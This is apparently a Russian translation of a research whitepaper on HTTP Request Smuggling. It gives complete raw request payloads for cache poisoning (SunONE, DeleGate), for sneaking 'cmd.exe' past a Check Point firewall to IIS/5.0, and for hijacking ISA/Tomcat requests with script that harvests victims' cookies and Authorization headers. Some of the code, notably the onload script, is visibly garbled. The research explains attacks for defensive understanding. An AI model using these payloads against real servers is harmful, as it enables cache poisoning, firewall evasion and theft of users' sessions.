HTTP Request Smuggling основывается на различиях в обработке данных одного или нескольких HTTP устройств (кеш сервер, прокси сервер, файрвол и т.п.) находящихся между пользователем и веб-сервером. Техника HTTP Request Smuggling позволяет провести различные виды атак - отравление кеша, похищение сессии, межсайтовый скриптинг и что наиболее важно, предоставляет возможность обойти защиту файрвола.
Этот документ подводит итог нашей работы по недавно появившейся технике атаки - HTTP Request Smuggling. В нем мы опишем эту технику и объясним, в каких случаях она может применяться и какой может нанести вред.
Данный документ предполагает знание читателем основ HTTP. Если это не так, то для получения этих знаний ознакомьтесь с RFC HTTP/1.1 [4]
В этом документе мы опишем новый вид веб-атаки - "HTTP Request Smuggling". Данный вид атаки, а также все производные виды направлены на веб-устройства и являются результатом того, что HTTP сервер или другое устройство начинает некорректно работать, пытаясь обработать специально сформированные HTTP запросы.
HTTP Request Smuggling основывается на различиях в обработке данных одного или нескольких HTTP устройств (кеш сервер, прокси сервер, файрвол и т.п.) находящихся между пользователем и веб-сервером. Техника HTTP Request Smuggling позволяет провести различные виды атак - отравление кеша, похищение сессии, межсайтовый скриптинг и что наиболее важно, предоставляет возможность обойти защиту файрвола. Для этого посылаются несколько специально сконструированных HTTP запросов, которые заставляют два атакованных устройства видеть различные наборы запросов, позволяя хакеру тайно отправить запрос одному из устройств, причем другое устройство не будет об этом ничего знать. При отравление кеша, этот скрытый запрос обманывает кеш сервер с помощью связывания URL запроса с содержанием другой страницы и кеширования этой страницы под запрошенным URL. В атаке на файрвол, скрытый запрос может стать червем (как Nimda или Code Red) или привести к переполнению буфера на атакованном веб-сервере. И, наконец, так как HTTP Request Smuggling позволяет атакующему скрытно внедрить запрос в поток, то это позволяет атакующему управлять последовательностью запросов/ответов сервера, что может привести к использованию чужих прав и другим противоправным последствиям.
HTTP Request Smuggling это новая хакерская техника направленная против HTTP устройств. Всякий раз, когда клиент отправляет HTTP запросы, которые проходят более чем через одно HTTP устройство, появляется неплохой шанс, что данные устройства уязвимы для HRS. Целью данного документа является продемонстрировать HRS в трех простых ситуациях: (1) кеширующий (прокси) веб-сервер установлен между клиентом и веб-сервером (W/S); (2) файрвол (F/W) защищающий W/S; и (3) прокси веб-сервер (не обязательно кеширующий) установлен между клиентом и W/S.
HRS отсылает несколько специально сконструированных HTTP запросов, которые заставляют два атакованных устройства видеть различные наборы запросов, тем самым позволяя хакеру скрытно запросить одно устройство, причем другое устройство ничего не будет об этом знать.
Техника HRS зависит от подобных ей техник, которые были описаны в документах [1]-[3]. Не смотря на это, в отличие, например от HTTP Splitting, HRS более эффективна, так как не требует наличие уязвимости в приложении, как, например уязвимые asp страницы на W/S. В отличие от этого, данная техника способна использовать небольшие различия в HTTP устройствах при работе с запросами. И как результат, HRS может быть успешно применен в атаках к гораздо большему количеству сайтов, чем остальные виды атак.
Как мы покажем, в случаях с кеш сервером и W/S, атакующий может выполнить атаку для отравления кеша сервера. Обычно, атакующий может поменять точки входа кеша так, что существующая (и кешируемая) страница А будет закеширована под URL B. Другими словами, клиент, запросивший страницу B, получит страницу A. Отсюда ясно, что такая замена может сделать веб-сайт абсолютно непригодным. Представьте, что произойдет, если главная страница сайта http://SITE/ всегда будет возвращать содержание страницы http://SITE/request_denied.html. На сайтах, которые разрешают клиентам заливать собственные HTML страницы и картинки, вред может быть гораздо больший, так как хакер может связать запрошенный URL с собственными закаченными страницами, тем самым полностью исказив сайт.
Во второй испытанной нами ситуации, в которой приложение F/W установлено перед W/S, HRS может обойти некоторые из защит файрвола (F/W). Это происходит потому, что F/W не применяет некоторые из своих правил к скрытым запросам, потому что он не видит их. Это позволяет атакующему скрывать злонамеренные запросы (как, например переполнение буфера и т.п.), что напрямую компрометирует безопасность W/S. В отличие от атаки отравления кеша в первом примере, где подвергался атаке кеш сервер, в этом случае атакуется сам W/S.
В третьей ситуации, в которой клиент использует прокси сервер, который установил TCP соединение с W/S, возможно, что один клиент (атакующий) посылает запрос под видом другого клиента. Также возможно использовать уязвимость веб-приложения (используя уязвимости, используемые при межсайтовом скриптинге XSS[7,8]) для кражи данных клиента без необходимости фактического контакта с клиентом, делая ее более опасной атакой, чем межсайтовый скриптинг.
Наш первый пример демонстрирует классическую HRS атаку. Допустим, что POST запрос содержит два заголовка "Content-Length" с противоречивыми значениями. Некоторые сервера (такие, как IIS и Apache) отвергнут такие запросы, но в других случаях проблематичный заголовок просто игнорируется. А какой из них проблематичный? К счастью для атакующего, различные серверы выбирают разные ответы. Например, SunONE W/S 6.1 (SP1) использует первый заголовок "Content-Length", а SunONE Proxy 3.6 (SP4) возьмет второй заголовок (причем оба приложения из одного семейства SunONE).
Пускай "SITE" будет DNS именем сервера SunONE, расположенным за SunONE Proxy. Допутим, что "/poison.html" является статичной (кешируемой) HTML страницей на W/S. Вот HRS атака, которая использует различие двух серверов:
1 POST http://SITE/foobar.html HTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]
8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [пробел после "Bla:", но не CRLF]
11 GET
http://SITE/page_to_poison.html HTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive 14 [CRLF]
[каждая строка заканчивается CRLF ("rn"), кроме 10 строки]
Давайте проверим, что произойдет, когда этот запрос отправится к W/S через прокси сервер. Сперва, прокси обработает строки 1-7 (синие) POST запроса, и обнаружит два заголовка "Content-Length". Как мы упомянули ранее, он решит проигнорировать первый заголовок, поэтому предположит, что тело запроса имеет длину 44 байта. Поэтому, он воспримет данные в 8-10 строках, как тело первого запроса (строки 8-10 как раз содержат 44 байта). Затем прокси обработает строки 11-14 (красные), которые он воспримет как второй запрос клиента. Теперь давайте посмотрим, как W/S обработает этот запрос, который ему перенаправит прокси. В отличие от прокси, W/S использует первый заголовок "Content-Length": поэтому для него первый POST запрос не имеет тела, а вторым запросом является GET в 8 строке (запрос GET, который в 11 строке, обработается W/S как значение заголовка "Bla" в 10 строке). Подводя итог, посмотрим, как будут разбиты данные двумя серверами:
1-ый запрос | 2-ой запрос | |
SunONE Proxy | строки 1-10 | строки 11-14 |
SunONE W/S | строки 1-7 | строки 8-14 |
Далее, давайте посмотрим, какой ответ отправиться обратно клиенту. Запросы для W/S видны как "POST /footbar.html" и "GET /poison.html", следовательно, он отсылает обратно два ответа с содержанием страницы "footbar.html" и "poison.html" соответственно. Прокси ассоциирует эти ответы с двумя запросами, которые, как он думает, были посланы клиентом - "POST /footbar.html" и "GET /page_to_poison.html. Так как ответ кешируется (мы предположили, что "poison.html" кешируемая страница), прокси закеширует содержание "poison.html" под URL "page_to_poison.html", и - кеш отравлен! Любой клиент, запросивший "page_to_poison.html" получит страницу "poison.html".
Техническая заметка: Строки 1-10 и 11-14 должны быть посланы в отдельных пакетах, так как SunONE Proxy не разделит запросы, пришедшие в одном пакете.
Гораздо больший вред может быть нанесен, если атакованный сайт использует одинаковый IP с другим сайтом (находящимся под контролем атакующего) - что обычно бывает при виртуальном хостинге. В этом случае, прокси сервер устанавливает общее TCP соединение с "сервером" (идентифицированным по своему IP), хотя трафик может предназначаться разным сайтам. Атакующему необходимо создать собственный сайт (с тем же IP адресом) и использовать заголовок "Host" (строка 9) для идентификации своего сайта (например: "Host:evil.site").
Другая разновидность использование запроса к прокси, так, например, в строке 8 использовать "GET http://evil.site/page.html ...".
Оба метода позволяют атакующему получить полный контроль над всем кешируемым контентом.
Файрвол FW-1 компании Check Point (тестируемая конфигурация FW-1/FP4-R55W beta) использует технология Web Intelligence - набор техник безопасности уровня веб-приложения. Эти техники включают множество видов статичных проверок, которые выполняются для каждого запроса. Например, для обнаружения HTTP червей используется набор заданных регулярных выражений, которые обнаруживают известных червей, таких как "cmd.exe" в URL (Червь Nimda). Другой пример это блокирование обхода директорий: FW-1 не позволит попасть в директорию, которая находится глубже, чем корневая директория в URL (например: "a/b/../p.html" пройдет, а "a/../../p.html" нет).
Web Intelligence всего включает около 13 различных техник безопасности, включая защиту от SQL-инъекций и XSS. Эти защиты реализованы в виде сигнатур, которые проверятся на соответствие с запросом или часть тела HTTP запроса. Мы можем использовать HRS для обхода большинства из этих механизмов защиты. Сейчас мы покажем, как это можно сделать, когда FW-1 защищает IIS/5.0.
У IIS/5.0 существует баг при обработке POST запросов с телом большого размера: странно, но IIS/5.0 без уведомления отсекает тело после 48К ( 49,152 байтов) всякий раз, когда значение заголовка запроса "Content-Type" не соответствует ожидаемому типу (например: для .asp ресурсов ожидается значение "application/x-www-form-urlencoded"). Таким образом, отсылая POST запрос на .asp страницу с длиной тела 48К+x, мы можем скрыть запрос в последних x байтах тела. FW-1 воспримет их, как часть тела, тогда как IIS/5.0 воспримет их как новый запрос. Используя некоторые другие хитрости, мы можем обойти не только проверки URL, но и проверку тела запроса. Допустим "/page.asp" является asp страницей, которая расположена на сервере. Предположим, что мы отсылаем следующий пакет на сервер (через FW-1):
1 POST /page.asp HTTP/1.1
2 Host: chaim
3 Connection: Keep-Alive
4 Content-Length: 49223
5 [CRLF]
6 zzz...zzz ["z" x 49152]
7 POST /page.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 30
10 [CRLF]
11 POST /page.asp HTTP/1.0
12 Bla: [пробел после "Bla:", но не CRLF]
13 POST /page.asp?cmd.exe HTTP/1.0
14 Connection: Keep-Alive
15 [CRLF]
[Важно, чтобы каждая строка заканчивалась символами CRLF ("rn"), кроме строки 12]
Сейчас мы проанализируем, как этот пакет обработается FW-1 и IIS/5.0. Так как у первого запроса заголовок "Content-Length" имеет значение 49,223 байта, то FW-1 распознает строку 6 (49,223 символа "z") и строки 7-10 (как раз всего 71 байт) как тело запроса (49,152+71=49,223). Затем FW-1 обрабатывает второй запрос (строка 11). Так как в строке 12 после "Bla:" нет CRLF, поэтому метод POST в строке 13 обрабатывается как значение заголовка "Bla:", а запрос заканчивается на 15 строке. Так, если бы 13 строка содержала имя червя Nimda ("cmd.exe"), то его бы не заблокировали, так как рассматривали бы как часть значения заголовка, а не URL. Следовательно, мы скрыли "cmd.exe" от взгляда FW-1. Для завершения, нам необходимо показать, что строка 13 обработается IIS/5.0 как строка запроса (строка "/page.asp?cmd.exe" обработается как URL). Давайте проследим, как IIS/5.0 обрабатывает этот пример, начиная с 1 строки: первый запрос - это POST запрос на .asp страницу, но он не содержит ожидаемого заголовка "Content-Type: application/x-www-form-urlencoded". Таким образом, IIS/5.0 неправильно ограничивает тело запроса 49,152 байтами, и начинает обрабатывать второй запрос с 7 строки. У этого запроса значение заголовка "Content-Length" равно 30 байтам, что как раз равно длине 11-12 строк (эти строки содержались в теле второго запроса). Наконец, строки 13-15 обрабатываются как третий запрос, что означает, что мы скрытно передали "cmd.exe" на IIS/5.0 через FW-1!
Эта таблица показывает, как каждый сервер обрабатывает пакет:
1 запрос | 2 запрос | 3 запрос | |
FW-1 R55W | строки 1-10 | строки 11-15 | - |
ISS/5.0 | строки 1-6 | строки 7-12 | строки 13-15 |
Описанный выше трюк с 48К может быть использован для обхода других возможностей технологии Web Intelligence, не только обнаружение интернет-червей, но и обход директорий, максимальная длина URL, XSS, инъекция команд в URL.
Типичная HRS атака включает несколько запросов (по крайней мере 3), часть из которых видна (т.е. нормально обрабатывается) W/S, а другая часть видна файрволу/кешу, как мы показывали в приведенных примерах.
Вот как это выглядит в обычном случае (вместо HTTP метода GET, может использоваться POST или смесь двух или более других методов):
1 GET /req1 HTTP/1.0 <-- виден W/S и кешу
2 ...
3 GET /req2 HTTP/1.0 <-- виден W/S
4 ...
5 GET /req3 HTTP/1.0 <-- виден кешу
6 ...
"…" означают различные заголовки и данные тел запросов. В приведенных выше двух примерах, W/S видел запросы req1 и req2, тогда как файрвол/кеш видел запросы req1 и req3. Запрос req2 был скрытно направлен W/S. Такой тип скрытой передачи называется forward smuggling. Читатель видимо уже догадался, что существует и backward smuggling. разница в том, что в backward smuggling W/S видит запросы req1 и req3, а файрвол видит req1 и req2, как показано ниже:
1 GET /req1 HTTP/1.0 <-- виден W/S и кешу
2 ...
3 GET /req2 HTTP/1.0 <-- виден кешу
4 ...
5 GET /req3 HTTP/1.0 <-- виден W/S
6 ...
В backward smuggling запрос req3 скрыто передается W/S. Этот тип HRS более сложен, так как возможен только в случаях, когда W/S отвечает на первый запрос до того, как получит полностью запрос. Обычно кеш сервер не отправляет запрос req2 на W/S до того, как не получит ответ на первый запрос. Так как W/S думает, что запрос req2 является частью первого запроса, обычно он не отвечает на него до тех пор, пока кеш сервер не пришлет req2. В результате возникает взаимная блокировка. Тем не менее, следующим пример демонстрирует, не всегда происходит именно так. Он работает с кеш сервером DeleGate/8.9.2 и IIS/6.0 или Tomcat или SunONE web-server/6.1:
На этот раз, вся хитрость будет в посылание GET запроса с заголовком: "Content-Length: n". DeleGate предполагает, что значение content-length всегда равно 0 (т.е. у запроса нет тела), но к счастью для нас, он все-таки отправляет первоначальное значение этого заголовка. Получив этот запрос, W/S считает, что запрос имеет тело длиной n байт, тем не менее он отправляет ответ на него, не получив полностью тело запроса, чем создает возможность для проведения backward smuggling. Вот так это выглядит (мы предположили, что DNS имя W/S будет SITE, а "/poison.html" - статическая кешируемая HTML страница, хранящиеся на W/S):
1 GET http://SITE/foobar.html HTTP/1.1
2 Connection: Keep-Alive
3 Host: SITE
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 40
6 [CRLF]
7 GET http://SITE/page_to_poison.html
HTTP/1.1
8 Bla: [пробел после "Bla:", но не CRLF]
9 GET /poison.html HTTP/1.0
10 [CRLF]
[И снова, каждая строка, кроме 8, заканчивается CRLF ("rn")]
DeleGate игнорирует заголовок "Content-Length: 40" в строке 5, и предполагает, что первый запрос не имеет тела. Поэтому думает, что второй запрос запрашивает "page_to_poison.html" (строка 7) - этот запрос заканчивается 10 строкой (метод GET в 9 строке рассматривается как значение заголовка "Bla:").
W/S считает, что первый запрос имеет тело длиной 32 байта (напоминаем, что он возвращает ответ до получения тела запроса) - это как раз длина строк 7-8, после того как DeleGate удалил из URL префикс "http://SITE". Поэтому, W/S обрабатывает строки 1-8 как первый запрос, а строки 9-10 как второй. Ответом второго запроса является "poison.html" (строка 9), которая кешируется DeleGate как ответ на запрос страницы "page_to_poison.html" и мы снова имеем отравленный кеш!
Техническое замечание: Строки 1-6 и 7-10 необходимо отсылать в двух различных пакетах.
Техника HRS может быть изменена для достижения немного другой цели: атакующий может использовать проблему безопасности на сайте (скрипт/страницу уязвимый межсайтовому скриптингу) для проведения атаки похожей на XSS. Такая атака, как правило, более опасная, чем XSS, потому что:
Существуют несколько различий в условиях между Request Hijacking и базовой техникой HRS, рассмотренных выше:
Предположим, что известно, что /vuln_page.jsp уязвима XSS через параметр "data". Рассмотрим следующую атаку:
1 POST /some_script.jsp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 9
5 Content-Length: 204
6
7 this=thatPOST /vuln_page.jsp HTTP/1.0
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 95
10
11 param1=value1&data= <script>alert("stealing%20your%20data:"%
2bdocument.cookie)</script> &foobar=
Все это будет обработано прокси сервером Microsoft ISA/2000 как единый POST запрос, тело которого имеет длину 204 байта (строки 1-11). Веб-сервер Tomcat рассмотрит его как один POST запрос, тело которого имеет длину 9 байт (строки 1-7, включая "this=that" в строке 7), и один незавершенный POST запрос, который определил длину тела в 95 байт, но предоставив только 94. (строки 7-11, исключая "this=that" в строке 7). Первый (полный) запрос требует отправки ответа (который отсылается ISA атакующему). Незавершенный запрос ставиться сервером Tomcat в очередь.
Когда ISA получает запрос от клиента (например GET), то этот запрос направляется серверу Tomcat, который использует его первый байт, как завершение запроса, поставленного в очередь, и обрабатывает остальные данные, как неверный HTTP запрос. Затем Tomcat отправляет ответ на завершенный запрос обратно ISA. Вот этот запрос:
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95 param1=value1&data= <script>alert("stealing%20your%20data:"%2bdocument.cookie)</sc
ript>&foobar=G
Заметьте, что клиент получит HTML страницу и злонамеренный Javascript код в ней:
<script>alert("stealing your data:"+document.cookie)</script>
Это только показывает, как злонамеренный Javascript код может быть выполнен браузером клиента. Тут не показано, как можно похитить данные HTTP идентификации и HttpOnly cookie. Для этого необходимо использовать дополнительные хитрости. Как можно увидеть, запрос атакующего непосредственно предшествует запросу жертвы. Так как запрос жертвы обычно содержит необходимые атакующему данные в HTTP заголовках, атакующий может аккуратно подсчитать значение Content-Length для помещения этих данных внутрь данных, которые передаются обратно в HTML поток. Теперь данные находятся в страницы ответа, а следующий Javascript код может извлечь их (заметьте, что используется событие window onload для выполнения после того, как вся страница будет загружена. Скрипт будет выполняться итерационно для всех textNotes и соединять их в одну строку с префиксом, выбранным атакующим):
window.onload=function()
{
str="";}
for(i=0;i<document.all.length;i++)
{for(j=0;j>document.all(i).childNodes.length;j++)}
{}if(document.all(i).childNodes(j).nodeType==3)
{
str+=document.all(i).childNodes(j).data;
}
Таким образом, атакующему необходимо слегка изменить запрос на следующий:
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 388
this=thatPOST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 577
param1=value1&data= <script>window.onload=function(){str="";for(i=0;i<document.all
.length;i%2B%2B){for(j=0;j<document.all(i).childNodes.length;j%2B%2B){if(document
.all(i).childNodes(j).nodeType==3){str%2B=document.all(i).childNodes(j).data;}}}a
lert(str.substr(0,300));}</script>
Заметьте, что в незавершенном запросе присутствуют только 277 байт (произвольное число, на выбор атакующего), поэтому он возьмет первые 300 байт запроса жертвы и вставит их обратно в HTML поток, который затем передастся клиенту. После того как этот поток получит браузер клиента, злонамеренный код выполнится и отправит эти 300 байт HTML страницы атакующему. Эти первые 300 байт обычно содержат HTTP заголовки, такие как Cookie (содержащий cookie клиента) и Authorization (содержащий данные HTTP идентификации клиента), вместе с запрошенным клиентом URL (который может содержать важную информацию, например токен сессии и информацию, передаваемую жертвой).
Другая интересная область это возможность атакующему выполнить скрипт (/some_page.jsp) с правами клиента. Эта атака по эффекту схоже с Cross-Site Request Forgery[6], но она более опасна, потому что атакующему не требуется взаимодействовать с клиентом (жертвой).
Так выглядит атака:
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length:
9 Content-Length: 142
this=thatGET
/some_page.jsp?param1=value1¶m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:
Когда клиент отправляет запрос, подобный этому:
GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
Сервер Tomcat склеивает его с незавершенным запросом, находящимся в очереди, и в результате мы имеем:
GET /some_page.jsp?param1=value1¶m2=value2
HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar: GET
/mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
Теперь запрос завершен. Он выполнит скрипт /some_page.jsp и вернет этот результат клиенту. Если этот скрипт меняет пароль, или делает перевод денег на счет атакующего, тогда он может причинить серьезный ущерб клиенту.
Собираем и анализируем опыт профессионалов ИБ